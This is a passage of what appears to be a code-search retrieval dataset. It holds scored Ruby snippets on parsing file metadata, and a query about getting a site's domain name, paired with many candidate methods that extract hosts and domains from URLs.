"text": "def prep_metadata\n if @metadata.empty?\n metadata = {}\n @sources.each do |source|\n if File.file?(source)\n metadata_yml = Tpkg::metadata_from_package(source)\n metadata_yml.source = source\n name = metadata_yml[:name]\n metadata[name] = [] if !metadata[name]\n metadata[name] << metadata_yml\n elsif source[0,1] == File::SEPARATOR || File.directory?(source)\n if File.directory?(source)\n if !File.exists?(File.join(source, 'metadata.yml'))\n warn \"Source directory #{source} has no metadata.yml file. Try running tpkg -x #{source} first.\"\n next\n end\n metadata_contents = File.read(File.join(source, 'metadata.yml'))\n Metadata::get_pkgs_metadata_from_yml_doc(metadata_contents, metadata, source)\n else\n warn \"Source directory #{source} does not exist, skipping.\"\n end\n else\n uri = http = localdate = remotedate = localdir = localpath = nil\n\n if !URI.parse(source).absolute?\n warn \"Source #{source} is not a file, directory, or absolute URI, skipping\"\n next\n end\n\n uri = URI.join(source, 'metadata.yml')\n http = gethttp(uri)\n\n # Calculate the path to the local copy of the metadata for this URI\n localdir = source_to_local_directory(source)\n localpath = File.join(localdir, 'metadata.yml')\n if File.exist?(localpath)\n localdate = File.mtime(localpath)\n end\n\n # get last modified time of the metadata file from the server\n response = http.head(uri.path)\n case response\n when Net::HTTPSuccess\n remotedate = Time.httpdate(response['Date'])\n else\n puts \"Error fetching metadata from #{uri}: #{response.body}\"\n response.error! # Throws an exception\n end\n\n # Fetch the metadata if necessary\n metadata_contents = nil\n if !localdate || remotedate != localdate\n response = http.get(uri.path)\n case response\n when Net::HTTPSuccess\n metadata_contents = response.body\n remotedate = Time.httpdate(response['Date'])\n # Attempt to save a local copy, might not work if we're not\n # running with sufficient privileges\n begin\n FileUtils.mkdir_p(localdir)\n File.open(localpath, 'w') do |file|\n file.puts(response.body)\n end\n File.utime(remotedate, remotedate, localpath)\n rescue Errno::EACCES\n raise if Process.euid == 0\n end\n else\n puts \"Error fetching metadata from #{uri}: #{response.body}\"\n response.error! # Throws an exception\n end\n else\n metadata_contents = IO.read(localpath)\n end\n # This method will parse the yml doc and populate the metadata variable\n # with list of pkgs' metadata\n Metadata::get_pkgs_metadata_from_yml_doc(metadata_contents, metadata, source)\n end\n end\n @metadata = metadata\n if @@debug\n @sources.each do |source|\n count = metadata.inject(0) do |memo,m|\n # metadata is a hash of pkgname => array of Metadata\n # objects.\n # Thus m is a 2 element array of [pkgname, array of\n # Metadata objects] And thus m[1] is the array of\n # Metadata objects.\n memo + m[1].select{|mo| mo.source == source}.length\n end\n puts \"Found #{count} packages from #{source}\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "8fe92fec20034248d29c648afcd321e4",
"score": "0.5322833",
"text": "def metadata\n data[:metadata]\n end",
"title": ""
},
{
"docid": "78c08d8d03a2a16d1407e660dcb7ee49",
"score": "0.5319335",
"text": "def metadata\n data.fetch('metadata')\n end",
"title": ""
},
{
"docid": "f6e46b4f2afc26c3f09b77649316cd2c",
"score": "0.53187096",
"text": "def load_from_parsed_data(parsed_data)\n data = parsed_data[:data]\n assign_attributes(self.class.parse(data)) if data.any?\n @metadata = parsed_data[:metadata]\n @response_errors = parsed_data[:errors]\n end",
"title": ""
},
{
"docid": "3ac83174d43d3399d14560d30ec048bf",
"score": "0.53146476",
"text": "def recovered_metadata\n return unless changed?\n\n captured_data_with(FileOperations::CapturedDataTags::DROPPED_EXIF_DATA)\n &.reduce({}) { |recovered, data| recovered.merge data }\n end",
"title": ""
},
{
"docid": "a084bdd34e006a6de99462ad90d81308",
"score": "0.5310174",
"text": "def parse_meta_info(torrent_file)\n MetaInfo.new(Bencode::Decoder.decode_file(torrent_file))\n end",
"title": ""
},
{
"docid": "7432535fd78b9e2cd4d8aa5628e113b0",
"score": "0.530035",
"text": "def custom_metadata_original\n return nil\n end",
"title": ""
},
{
"docid": "82cad31dc71680a492ce35c884ddd909",
"score": "0.52936584",
"text": "def get_raw_metadata\n \n md = Candle::Spotlight.attributes @path\n \n \n # Convert all of the strings in the hash to utf-8\n md.each_pair do |key, value|\n \n next unless value.respond_to?(:encode)\n\n \n # We need to force the encoding of the string\n # even though we should have utf8 strings returned via Spotlight\n utf8_str = value.force_encoding(\"utf-8\")\n \n\n # Unfortunately rubys string method \"valid_encoding?\" doesn't raise \n # doesn't pick up on invalid byte_sequences\n # \n # Therefore the encoding may still be off\n # so we'll convert again but replace the invalid chars\n utf8_str.encode!(\"utf-8\", :undef => :replace, \n :invalid => :replace, \n :replace => \"x\" ) \n \n \n # end\n \n \n md[key] = utf8_str\n \n end\n \n md\n \n end",
"title": ""
},
{
"docid": "bb7003888ddff87bc1dc2ac22f5c25fb",
"score": "0.5284848",
"text": "def get_meta_from_other_file(meta, type=nil)\n if not type.is_a?(String)\n type = \"default\"\n end\n data_dir = data_dir_name()\n file_name = if [\".\", \"..\", \"/\", \"\\\\\"].include? type[0]\n if File.file? type\n type\n else\n abort \"Could not find file #{type}\"\n end\n else\n # look in ~/.panrun/\n name = File.join(data_dir, type + \".yaml\")\n if File.file? name\n name\n else\n nil\n end\n end\n file_meta, args = if file_name && m = YAML.load_file(file_name)\n [ m[output_key_name] || {}, [\"--metadata-file\", file_name] ]\n else\n [{}, []]\n end\n file_meta.each do |format, _|\n meta[format] = file_meta[format].merge( meta[format] || {} )\n end\n return [meta, args]\nend",
"title": ""
},
{
"docid": "3e03e0fe7ec9216a765dde9a1fff44dc",
"score": "0.5283181",
"text": "def parse_file_data(metadata_text, content)\n metadata = Hash.new\n required_data = [\"date\", \"summary\", \"title\"]\n required_data << \"content\" if content.empty?\n metadata_text.lines.each do |mdata_line|\n # remove surrounding whitespace. If line is empty or invalid format, skip\n mdata_line.strip!\n next if mdata_line.empty?\n raise Starman::InvalidMetadata.new(@digest_name, mdata_line) unless is_metadata?(mdata_line)\n #delimit on first colon \n key, value = mdata_line.split(/\\s*:\\s*/, 2)\n case key.downcase\n when \"date\"\n # TODO date format localization\n raise Starman::DateError.new(@digest_name) if value.strip.empty?\n begin\n metadata[\"date\"] = DateTime.strptime(value, '%m/%d/%Y') \n rescue ArgumentError\n raise Starman::DateError.new(@digest_name)\n end\n required_data.delete(\"date\")\n when \"summary\"\n if !value.strip.empty?\n metadata[\"summary\"] = value[0..100].strip\n required_data.delete(\"summary\")\n end\n when \"title\"\n if !value.strip.empty?\n metadata[\"title\"] = value[0..40]\n required_data.delete(\"title\")\n end\n end #end case\n end # end do\n\n metadata, content = populate_missing_fields(required_data, metadata, content) unless required_data.empty?\n\n return metadata, content\n end",
"title": ""
},
{
"docid": "a049873c4a38b8b003188f03ed6c5c2c",
"score": "0.5280215",
"text": "def load_metadata\n cmd = open(\"|#{EXIFTOOL} #{@files[0].prepare_for_shell} -xmp:all\")\n\t while (temp = cmd.gets)\n\t\t key, value = parse_line(temp)\n\t\t @metadata[key] = value unless key.nil?\n\t end\n\t cmd.close\n\t puts \"\\n>> #{method_name}\\n\"+@metadata.inspect+\"\\n END \\n\" if DEBUG\n end",
"title": ""
},
{
"docid": "942d4a069238d96fce8bd76425150bae",
"score": "0.5276739",
"text": "def raw_data\n return IO.read(@on_disk_path) if on_disk?\n return nil unless @blob\n\n if !@wiki.repo.bare && @blob.is_symlink\n new_path = @blob.symlink_target(::File.join(@wiki.repo.path, '..', self.path))\n return IO.read(new_path) if new_path\n end\n\n @blob.data\n end",
"title": ""
},
{
"docid": "680d3fb98dd46354ebc2f83738e4110d",
"score": "0.52716035",
"text": "def parse_content_raw(content_parser); end",
"title": ""
},
{
"docid": "c522e19bb35be54a3a0afdb097fa1df0",
"score": "0.52705693",
"text": "def metadata\n attributes[:metadata] || {}\n end",
"title": ""
},
{
"docid": "f254dbb58106305409093e4247bba9f2",
"score": "0.526989",
"text": "def load_meta(data)\n return nil if data.nil?\n Meta.new(data)\n end",
"title": ""
},
{
"docid": "a1692e32e733345f9c028ccbf330e47f",
"score": "0.5264538",
"text": "def meta_data_from_file(file)\n full_path = File.join(@src_dir, 'pages', file)\n file = File.open(full_path)\n \n return {} unless file.gets =~ /:ruby/\n \n meta_line = file.gets\n eval \"{#{meta_line.sub('-#', '')}}\"\n end",
"title": ""
},
{
"docid": "f8827c70119637ae1f9800f4cc5470d0",
"score": "0.52637666",
"text": "def load_metadata_from_dotruby\n file = Dir[File.join(root, '.ruby')].first\n if file\n @cache.update(YAML.load_file(file))\n end\n end",
"title": ""
},
{
"docid": "a9c758703b0965f1fca23b56020d6b8b",
"score": "0.5248627",
"text": "def metadata\n attributes['metadata'] ||= {}\n attributes['metadata']\n end",
"title": ""
},
{
"docid": "797ed8c25f373f98b0e8bffefb4e8577",
"score": "0.5235998",
"text": "def parse_file(filename)\n load_filedata(filename)\n if File.size(filename) == 0\n puts \"!! File cannot be empty: #{@slug}\"\n # throw an error?\n return\n end\n doc = Hpricot( open(filename) )\n \n # Only grab root level meta tags for layouts and templates...\n meta_q = (@is_template)? \"/meta\" : \"//meta\"\n \n doc.search(meta_q).each do |meta_tag|\n name = meta_tag[:name].gsub(' ', '_').gsub('-', '_').downcase.to_sym\n # Coerce the meta data value if it's defined...\n content = if meta_tag[:type]\n case meta_tag[:type].downcase.to_sym\n when :bool\n (meta_tag[:content] == 'true')\n when :boolean\n (meta_tag[:content] == 'true')\n when :int\n meta_tag[:content].to_i\n when :integer\n meta_tag[:content].to_i\n when :float\n meta_tag[:content].to_f\n when :double\n meta_tag[:content].to_f\n when :array\n meta_tag[:content].split(',').map {|ai| ai.strip }\n when :list\n meta_tag[:content].split(',').map {|ai| ai.strip }\n when :date\n Chronic.parse( meta_tag[:content] )\n else\n meta_tag[:content]\n end\n else\n meta_tag[:content]\n end\n # Create an array of values for a meta key if it's the second time it's used\n if metadata.has_key? name\n metadata[name] = [metadata[name]] unless metadata[name].is_a? Array\n metadata[name] << content\n else\n metadata[name] = content\n end\n end\n # Now, remove the meta tags...\n doc.search(meta_q).remove\n\n if @parse_mode == :index # Content objects\n doc.search(\"//title\").each do |title_tag|\n metadata[:title] = title_tag.inner_html\n end\n doc.search(\"//title\").remove\n \n # Whatever's left in the header, we'll pull out here...\n metadata[:head] = doc.at(\"head\").inner_html.squish\n \n doc.search(\"//head\").remove\n\n # Grab the rest of the root level nodes and add their inner_html\n # as metadata as well...\n doc.search(\"/*\").each do |tag|\n metadata[tag.name.to_sym] = tag.inner_html unless tag.blank? or tag.is_a?( Hpricot::Text )\n end\n\n else # The rest\n metadata[:body] = doc.to_html\n end\n end",
"title": ""
},
{
"docid": "26c99352cd241e53610c840433095494",
"score": "0.5235508",
"text": "def custom_metadata_original\n custom_meta = {\n \"x-amz-meta-photo-id\" => model.id.to_s,\n \"x-amz-meta-album-id\" => model.album_id.to_s,\n \"x-amz-meta-user-id\" => model.user_id.to_s\n }\n end",
"title": ""
},
{
"docid": "16a750cbef6c7faf9b28f38e4903cbd2",
"score": "0.5228985",
"text": "def _precompiled_asset_metadata(file)\n (opts[:json_parser] || ::JSON.method(:parse)).call(::File.read(file))\n end",
"title": ""
},
{
"docid": "3221a5584ab8da7a54c2ad8a2db467b4",
"score": "0.5223306",
"text": "def parse_raw_data(raw_data)\n parse_json(raw_data)\n end",
"title": ""
},
{
"docid": "52055761fcade2b90af2e9297cbe8cb6",
"score": "0.52179694",
"text": "def metadata\n return @metadata if @metadata\n\n metadata_array = []\n return metadata_array unless attributes[:metadata]\n\n attributes[:metadata].each do |a|\n metadata_array << render(a) unless a.nil? || a.strip.empty?\n end\n\n @metadata = metadata_array unless loading\n metadata_array\n end",
"title": ""
},
{
"docid": "fb0024d7d9b9e3c77c4cf23415c68bf2",
"score": "0.5210281",
"text": "def normalize_desc_metadata!\n descMetadata.ensure_identifier_exists!(self.uri)\n descMetadata.update_change_date!\n descMetadata.reorder_elements!\n descMetadata.remove_empty_nodes!\n end",
"title": ""
},
{
"docid": "0689b17802a222d56486ebad0f668185",
"score": "0.5209975",
"text": "def normalized_metadata\n # overall audio_sample_rate are null, audio codec is wrong\n @normalized_metadata ||= {\n \"width\" => first_video_stream_json&.dig(\"width\"),\n \"height\" => first_video_stream_json&.dig(\"height\"),\n \"frame_rate\" => video_frame_rate_as_float, # frames per second\n \"duration_seconds\" => ffprobe_hash&.dig(\"format\", \"duration\")&.to_f&.round(3),\n \"audio_codec\" => first_audio_stream_json&.dig(\"codec_name\"),\n \"video_codec\" => first_video_stream_json&.dig(\"codec_name\"),\n \"audio_bitrate\" => first_audio_stream_json&.dig(\"bit_rate\")&.to_i, # in bps\n \"video_bitrate\" => first_video_stream_json&.dig(\"bit_rate\")&.to_i, # in bps\n # extra ones not ActiveEncode\n \"bitrate\" => ffprobe_hash.dig(\"format\", \"bit_rate\")&.to_i, # overall bitrate of whole file in bps\n \"audio_sample_rate\" => first_audio_stream_json&.dig(\"sample_rate\")&.to_i, # in Hz\n \"audio_channels\" => first_audio_stream_json&.dig(\"channels\")&.to_i, # usually 1 or 2 (for stereo)\n \"audio_channel_layout\" => first_audio_stream_json&.dig(\"channel_layout\"), # stereo or mono or (dolby) 2.1, or something else.\n }.compact\n end",
"title": ""
}
] |
1c56ff845a5fac047229667ba925a072
|
Method to get domain name of a site
|
[
{
"docid": "67d31ef689e7c0b967930e04ca2b259e",
"score": "0.78004086",
"text": "def getDomainName(url)\n url = \"http://#{url}\" if URI.parse(url).scheme.nil?\n host = URI.parse(url).host.downcase\n host.start_with?('www.') ? host[4..-1] : host\n return host.to_s\n end",
"title": ""
}
] |
[
{
"docid": "6f2ade27268ec53709440b903348eed5",
"score": "0.87780565",
"text": "def site_domain\n if self.site_url\n split_host = URI.parse(self.site_url).host.split('.')\n \"#{split_host[split_host.size - 2]}.#{split_host[split_host.size - 1]}\" if split_host.size > 1\n end\n rescue URI::InvalidURIError\n nil\n end",
"title": ""
},
{
"docid": "77fdc38fa62952c98ed00906bb66edf9",
"score": "0.8206514",
"text": "def domain\n default_website.domain\n rescue\n \"\"\n end",
"title": ""
},
{
"docid": "77fdc38fa62952c98ed00906bb66edf9",
"score": "0.8206514",
"text": "def domain\n default_website.domain\n rescue\n \"\"\n end",
"title": ""
},
{
"docid": "71e6fd2d0fc9fb5039ab754525e179ba",
"score": "0.8177145",
"text": "def domain\n url.to_s.match(/www/i) ? url.to_s.match(/(\\w{1,}\\.+\\w{2,3}(\\.\\w{2,3})?)$/).to_s : url.to_s\n end",
"title": ""
},
{
"docid": "71e6fd2d0fc9fb5039ab754525e179ba",
"score": "0.8177145",
"text": "def domain\n url.to_s.match(/www/i) ? url.to_s.match(/(\\w{1,}\\.+\\w{2,3}(\\.\\w{2,3})?)$/).to_s : url.to_s\n end",
"title": ""
},
{
"docid": "73242cef756b9f44dc0b22c9cfb98be8",
"score": "0.8012747",
"text": "def name\n domain.split('.').first\n end",
"title": ""
},
{
"docid": "e407ebecda12b6d8fd6009eea92dd329",
"score": "0.79670364",
"text": "def domain\n self.url.host.split('.').last.downcase.to_sym\n end",
"title": ""
},
{
"docid": "3c706b64fd7cdeeabe04d3edaac2e6ad",
"score": "0.79332685",
"text": "def domain_name(url)\n uri = Addressable::URI.parse(url)\n return uri.host\n end",
"title": ""
},
{
"docid": "c882784e6a5d438d5b22c439af97f5ff",
"score": "0.7908912",
"text": "def get_domain_from_website(website)\n (URI.parse(website)&.host.to_s.match(/[^\\.]+\\.\\w+$/) || website.gsub(/^www./,'').gsub(/\\/.*$/,'')).to_s\n end",
"title": ""
},
{
"docid": "e9c075eb25a89b4dfe6386fb51afcabf",
"score": "0.7881537",
"text": "def domain\n re = /^(?:(?>[a-z0-9-]*\\.)+?|)([a-z0-9-]+\\.(?>[a-z]*(?>\\.[a-z]{2})?))$/i\n self.url.gsub(re, '\\1').strip\n end",
"title": ""
},
{
"docid": "9dfa67e5d38fbf677d692b35f050f357",
"score": "0.7855797",
"text": "def domain_name(url)\n URI.parse(url).host.split('.').last(2)[0]\nend",
"title": ""
},
{
"docid": "4d1e1fb28e68069dbb76db209d717c48",
"score": "0.78297734",
"text": "def domain_for(url:)\n URI.parse(url).host.gsub('www', '')\n rescue URI::InvalidURIError\n url\n end",
"title": ""
},
{
"docid": "7707dcedb0ecae2ab1c6af34bd088919",
"score": "0.78218335",
"text": "def domain\n @url.host\n end",
"title": ""
},
{
"docid": "8509b4079d5988de9c359afd8c9f02eb",
"score": "0.7765792",
"text": "def url_domain\n if url.present?\n uri = URI(url)\n uri.host\n end\n end",
"title": ""
},
{
"docid": "e7207b27b96668ae19510f441437a88c",
"score": "0.77258015",
"text": "def domain\n return @info.subdomain if @info\n DOMAIN_BASE\n end",
"title": ""
},
{
"docid": "002cd36ef0321df9d22d63ff453cd2f5",
"score": "0.768667",
"text": "def domain_name(url)\n url.sub(/https?:\\/\\//, \"\")\n .sub(/www\\./, \"\")\n .sub(/\\..+/, \"\")\nend",
"title": ""
},
{
"docid": "70aeb7822c39ae5ecbe73e9147bedfde",
"score": "0.76697266",
"text": "def extract_domain\n\t\tparsed_url = URI.parse(url)\n\t\treturn parsed_url.host\n\tend",
"title": ""
},
{
"docid": "a1ecfc91edb92eaa31256f1c7b64e110",
"score": "0.76607513",
"text": "def domain_name(url)\n (url.match %r/http.+\\/\\/w{0,3}\\.?(.+)\\.com/)[1]\nend",
"title": ""
},
{
"docid": "7ba993d0ebf61cbe049f7b43a2171ec9",
"score": "0.7633294",
"text": "def host_domain\n url = url_parse(self)\n url.host\n end",
"title": ""
},
{
"docid": "ac9542b57662b79cea120f8973897d53",
"score": "0.7612098",
"text": "def my_domain\n server = env[\"SERVER_NAME\"].gsub(/^www\\./i, '')\n (server.mb_chars rescue server.chars).downcase.to_s\n end",
"title": ""
},
{
"docid": "5a376b86a4fe6c4e63ae36a8fab3f41c",
"score": "0.76002496",
"text": "def domain_name(url)\n # since potential subdomains must come prior to the domain name,\n # reading after reversed URL's first period will give us the domain name\n url.reverse.match(/\\.[\\w-]+(\\/|\\.)/)[0].reverse[1..-2]\nend",
"title": ""
},
{
"docid": "df6dc0590aeb679953dfc2383b8ed060",
"score": "0.7571606",
"text": "def get_domain(name)\n name.split('.').last(2).join('.')\n end",
"title": ""
},
{
"docid": "f23c3b53d67fa3767a4e345d7aef98b4",
"score": "0.7567588",
"text": "def get_host_domain(url)\n uri = URI.parse(url)\n uri = URI.parse(\"http://#{url}\") if uri.scheme.nil?\n host = uri.host.downcase\n # host.start_with?('www.') ? host[4..-1] : host\n host.split('.')[-2..-1].join('.')\n end",
"title": ""
},
{
"docid": "ba10d8889879d25506d45940a15caef2",
"score": "0.7557836",
"text": "def domain_name(url)\n ind_www = url.index(\"www.\")\n ind_slash = url.index(\"//\")\n \n if ind_www\n url = url[ind_www + 4..-1]\n elsif ind_slash\n url = url[ind_slash + 2..-1]\n end\n \n url[0..url.index(\".\") - 1]\nend",
"title": ""
},
{
"docid": "a1f54cf0517375d719bb435b5264ba11",
"score": "0.7540029",
"text": "def domain\n url.gsub(/https?:\\/\\//, \"\") if url\n end",
"title": ""
},
{
"docid": "745f8563d5bfeeed9888ded3564fa50d",
"score": "0.7538641",
"text": "def domain\n return @info.subdomain if @info\n RedboothRuby.configuration[:domain_base]\n end",
"title": ""
},
{
"docid": "60888537ffbd85aef4a6d4329de334e3",
"score": "0.7523199",
"text": "def domain\n temp = link.dup\n temp.slice!(/.*:\\/\\//)\n temp.split('/').first\n end",
"title": ""
},
{
"docid": "c20c0cfc4a2cfe6f8d1c649e754d1323",
"score": "0.7495227",
"text": "def real_domain\n self.real_url.host.split('.').last.downcase.to_sym\n end",
"title": ""
},
{
"docid": "bea2aa536816acfc5605b1c93cfd3d26",
"score": "0.74759793",
"text": "def domain_name(url)\n if url.include? \"www.\"\n first_index = url.index('.') + 1\n last_index = url =~ /.com/\n last_index = last_index -1\n domain_name = url[first_index..last_index]\n\n else\n first_index = url.index('/') + 2\n last_index = url =~ /.c/\n last_index = last_index -1\n domain_name = url[first_index..last_index]\n end\nend",
"title": ""
},
{
"docid": "fd1acffab880b824faaf180ef27da697",
"score": "0.7472815",
"text": "def domain\n @domain ||= self.details.match(/(ftp|http|https):\\/\\/([w]+\\.)?(.+?\\.[a-z]{2,3})/i).to_a[3] || \"\"\n end",
"title": ""
},
{
"docid": "ddecf646de463ddaab3d7480ee4047e6",
"score": "0.74404067",
"text": "def domain_name\n Locomotive.config.domain\n end",
"title": ""
},
{
"docid": "ddecf646de463ddaab3d7480ee4047e6",
"score": "0.74404067",
"text": "def domain_name\n Locomotive.config.domain\n end",
"title": ""
},
{
"docid": "fa21509f45f31bbb0fc44d0d443a970d",
"score": "0.7417117",
"text": "def domain_name\n return @domain_name\n end",
"title": ""
},
{
"docid": "fa21509f45f31bbb0fc44d0d443a970d",
"score": "0.7417117",
"text": "def domain_name\n return @domain_name\n end",
"title": ""
},
{
"docid": "fa21509f45f31bbb0fc44d0d443a970d",
"score": "0.7417117",
"text": "def domain_name\n return @domain_name\n end",
"title": ""
},
{
"docid": "dd412ed0b99f8651eea2a333543b0bed",
"score": "0.7392244",
"text": "def domain_name\n @domain_name\n end",
"title": ""
},
{
"docid": "39015931014e8e31cc4fcf43d0ed6f35",
"score": "0.73898447",
"text": "def domain_name; end",
"title": ""
},
{
"docid": "39015931014e8e31cc4fcf43d0ed6f35",
"score": "0.73898447",
"text": "def domain_name; end",
"title": ""
},
{
"docid": "a5e45c484b5b85ae9b94adf47a187b90",
"score": "0.7380545",
"text": "def domain\n textual? ? nil : url.split(\"/\")[2]\n end",
"title": ""
},
{
"docid": "816aa2b563c43d8802c9a6917c475466",
"score": "0.73598796",
"text": "def site_name\n external_site.name\n end",
"title": ""
},
{
"docid": "c5154534fedc9301ad2cc7581626c202",
"score": "0.7358491",
"text": "def parse_domain\n url = self\n uri = URI.parse(url)\n uri = URI.parse(\"http://#{url}\") if uri.scheme.nil?\n host = (uri.host || self).downcase\n h = host.start_with?('www.') ? host[4..-1] : host\n \"#{h}#{\":#{uri.port}\" unless [80, 443].include?(uri.port)}\"\n end",
"title": ""
},
{
"docid": "281fdf37b4752c48d048f867dab138ac",
"score": "0.7332798",
"text": "def to_domain\n domain = URI.parse(url)\n domain.host.gsub(/\\Awww\\./, '')\n end",
"title": ""
},
{
"docid": "f11f75b970e61af328d94921474f425d",
"score": "0.7329531",
"text": "def predomain\n # TODO: do not return leading www., if present\n host.gsub(/\\.*#{domain}$/, '')\nend",
"title": ""
},
{
"docid": "0fc9ad7f5ead9199285ad7b0eba759fc",
"score": "0.7310093",
"text": "def domain_name(url)\n url = url.gsub(/.+\\/\\/|www.|\\..+/, '')\n return url\nend",
"title": ""
},
{
"docid": "ea56d063d0eb12ffb3b9ef490c76ec3c",
"score": "0.73071605",
"text": "def domain_name\n get_attribute_values(\"domain-name\").first\n end",
"title": ""
},
{
"docid": "4e813ff0be2c0df06bbdf1513837ea4e",
"score": "0.7302396",
"text": "def domain\n dn.scan(/dc=(\\w+)/i).flatten.join('.').downcase\n end",
"title": ""
},
{
"docid": "8e616e35ebc85921b5484c4375985737",
"score": "0.72947663",
"text": "def domain\n parsed_domain.domain\n end",
"title": ""
},
{
"docid": "8c1cec5ad946ed2fd298e7c2a3ab3fb9",
"score": "0.7274072",
"text": "def domain(tld_length = @@tld_length)\n ActionDispatch::Http::URL.extract_domain(host, tld_length)\n end",
"title": ""
},
{
"docid": "db71d0c9e60d2dd7e8bc9945bf615aac",
"score": "0.7238303",
"text": "def domain\n get('domain')\n end",
"title": ""
},
{
"docid": "73488d9cc45906c7ccec517e1b6a96cd",
"score": "0.7230688",
"text": "def domain\n @request.host\n end",
"title": ""
},
{
"docid": "73488d9cc45906c7ccec517e1b6a96cd",
"score": "0.7230688",
"text": "def domain\n @request.host\n end",
"title": ""
},
{
"docid": "c9d855cd774bcd251c5cb2b96b4c151f",
"score": "0.72089213",
"text": "def domain\n build_domain(site_name: \"search\")\n end",
"title": ""
},
{
"docid": "3c16929c3e171e2e8a8571c85b0827f6",
"score": "0.71642524",
"text": "def subdomain\n if default?\n 'www'\n else\n to_s\n end\n end",
"title": ""
},
{
"docid": "a89f5a77c4146d3b64089dcc9f4f398e",
"score": "0.71073735",
"text": "def xapian_site_base_domain\n current_site = self.site_of_current_page\n return current_site.base_domain if current_site \n return ''\n end",
"title": ""
},
{
"docid": "0c442dc8a4ced7491b68b23f98654532",
"score": "0.70969146",
"text": "def sourcename\n # @site = @site || Site.by_link(self.url)\n # @site.name\n site.name\n end",
"title": ""
},
{
"docid": "ad45f696d008eb29af0d5f28dd0beb25",
"score": "0.70926607",
"text": "def get_server_domain; end",
"title": ""
},
{
"docid": "02be7af82682355d1b6e2c5730b56fbe",
"score": "0.7091566",
"text": "def domain(tld_length = 1)\n return nil unless named_host?(host)\n host.split('.').last(1 + tld_length).join('.')\n end",
"title": ""
},
{
"docid": "25b8287ad53abba40413dc38e16a5b74",
"score": "0.7077838",
"text": "def full_domain\n self.domain + '/' + self.name.gsub(/ /, '+')\n end",
"title": ""
},
{
"docid": "10af74dcc47a38cc3cae4d332ffc9c41",
"score": "0.7075976",
"text": "def determine_domain\n return ENV[ \"FORCE_FRAME\" ] if ENV[ \"FORCE_FRAME\" ]\n \n if request.domain == \"artisanengine.com\" and request.subdomain\n return \"#{ request.subdomain }.com\"\n end\n \n request.domain\n end",
"title": ""
},
{
"docid": "93a0e81f296c73ca8311f51139d4f7d5",
"score": "0.70683986",
"text": "def domain(tld_length = 1)\n # return nil unless named_host?(host)\n host.split(\".\").last(1 + tld_length).join(\".\")\n end",
"title": ""
},
{
"docid": "5733d49dcff575a10c65b56c316dc78b",
"score": "0.7063427",
"text": "def domain ; @request.host ; end",
"title": ""
},
{
"docid": "2468c29308c47e3c9c96bd8853ccaa27",
"score": "0.7063064",
"text": "def domain_or_host\n request.domain || request.host\n end",
"title": ""
},
{
"docid": "033d65ca7ae9371a7e2cf46eed657814",
"score": "0.7059551",
"text": "def get_site_name(_site_info)\n site_name = _site_info['name']\n return site_name\n end",
"title": ""
},
{
"docid": "9acc7523fa604f40e1de0f3c3c0bd636",
"score": "0.7053986",
"text": "def domain(tld_length = 1)\n return nil unless named_host?(host)\n\n host.split('.').last(1 + tld_length).join('.')\n end",
"title": ""
},
{
"docid": "9acc7523fa604f40e1de0f3c3c0bd636",
"score": "0.70539176",
"text": "def domain(tld_length = 1)\n return nil unless named_host?(host)\n\n host.split('.').last(1 + tld_length).join('.')\n end",
"title": ""
},
{
"docid": "78fc40fba81d6720c82392d9996ef714",
"score": "0.705129",
"text": "def domain\n url = self.dup\n url=~(/^(?:\\w+:\\/\\/)?([^\\/?]+)(?:\\/|\\?|$)/) ? $1 : url\n end",
"title": ""
},
{
"docid": "78fc40fba81d6720c82392d9996ef714",
"score": "0.705129",
"text": "def domain\n url = self.dup\n url=~(/^(?:\\w+:\\/\\/)?([^\\/?]+)(?:\\/|\\?|$)/) ? $1 : url\n end",
"title": ""
},
{
"docid": "70bb4e30fbff96678d08d3230a338b71",
"score": "0.704788",
"text": "def subdomain\n return self.domain if dalianshops? #fix: first.dalianshops.com\n ([self.short_name] + self.class.dalianshops.domain.split('.')[1..-1]).join('.')\n end",
"title": ""
},
{
"docid": "728235b9bab8622776756688a48d6d95",
"score": "0.7046581",
"text": "def get_site_name\n populate_site_data if @site_name.nil? or @site_name.empty?\n @site_name\n end",
"title": ""
},
{
"docid": "926003f75fc3b708ec723d204a4b117a",
"score": "0.70390314",
"text": "def product_domain(image)\n domain = nil\n if !image.page_url.blank?\n # strip off anything after the ? first, as some query strings cause a bad URI exception\n host = image.page_url.split('?')[0]\n full_domain = URI.parse(host).host\n domain = full_domain.downcase.sub(/^(www\\.)/, '') if full_domain\n end\n domain\n end",
"title": ""
},
{
"docid": "648b46cc3733c9eb2227fe9bd6bf8f52",
"score": "0.70338744",
"text": "def host\n [@subdomain,@domain].flatten.compact.join('.')\n end",
"title": ""
},
{
"docid": "277106f1fa5de88ef4812e659df1b6ae",
"score": "0.7028281",
"text": "def get_domain(host)\n return PublicSuffix.parse(host).domain\n #return PublicSuffix.domain(host, ignore_private: true)\n end",
"title": ""
},
{
"docid": "9ce51cf9e4546f5f972683ec719e613d",
"score": "0.7024028",
"text": "def get_domain()\n\t\tdomain = \"\"\n\t\tbegin\n\t\t\tsubkey = \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\"\n\t\t\tv_name = \"DCName\"\n\t\t\tdomain_dc = registry_getvaldata(subkey, v_name)\n\t\t\tdom_info = domain_dc.split('.')\n\t\t\tdomain = dom_info[1].upcase\n\t\trescue\n\t\t\tprint_error(\"This host is not part of a domain.\")\n\t\tend\n\t\treturn domain\n\tend",
"title": ""
},
{
"docid": "8b1ad9394b54dccb7df2ea25d3353646",
"score": "0.7016981",
"text": "def domain\n if request.port == 80\n request.host\n else\n \"#{request.host}:#{request.port}\"\n end\n end",
"title": ""
},
{
"docid": "419bce3826c0b65ceab991b66d211d49",
"score": "0.7012287",
"text": "def get_domain_name(host)\n domain = nil\n search = nil\n resolv_conf = host.exec(HostCommand.new(\"cat /etc/resolv.conf\")).stdout\n resolv_conf.each_line { |line|\n if line =~ /^\\s*domain\\s+(\\S+)/\n domain = $1\n elsif line =~ /^\\s*search\\s+(\\S+)/\n search = $1\n end\n }\n return domain if domain\n return search if search\n end",
"title": ""
},
{
"docid": "225be49ea70489a74729e452f33a5730",
"score": "0.70013064",
"text": "def domain\n if (!@configured)\n parse_config\n end\n if (@domain==nil)\n return nil\n end\n return Name.create(@domain).to_s\n end",
"title": ""
},
{
"docid": "f10b1acec16ebff5242fdb72e6192010",
"score": "0.69915426",
"text": "def domain_from_host(host)\n host.gsub(/^(?:(?>[a-z0-9-]*\\.)+?|)([a-z0-9-]+\\.(?>[a-z]*(?>\\.[a-z]{2})?))$/i, '\\1').strip\n end",
"title": ""
},
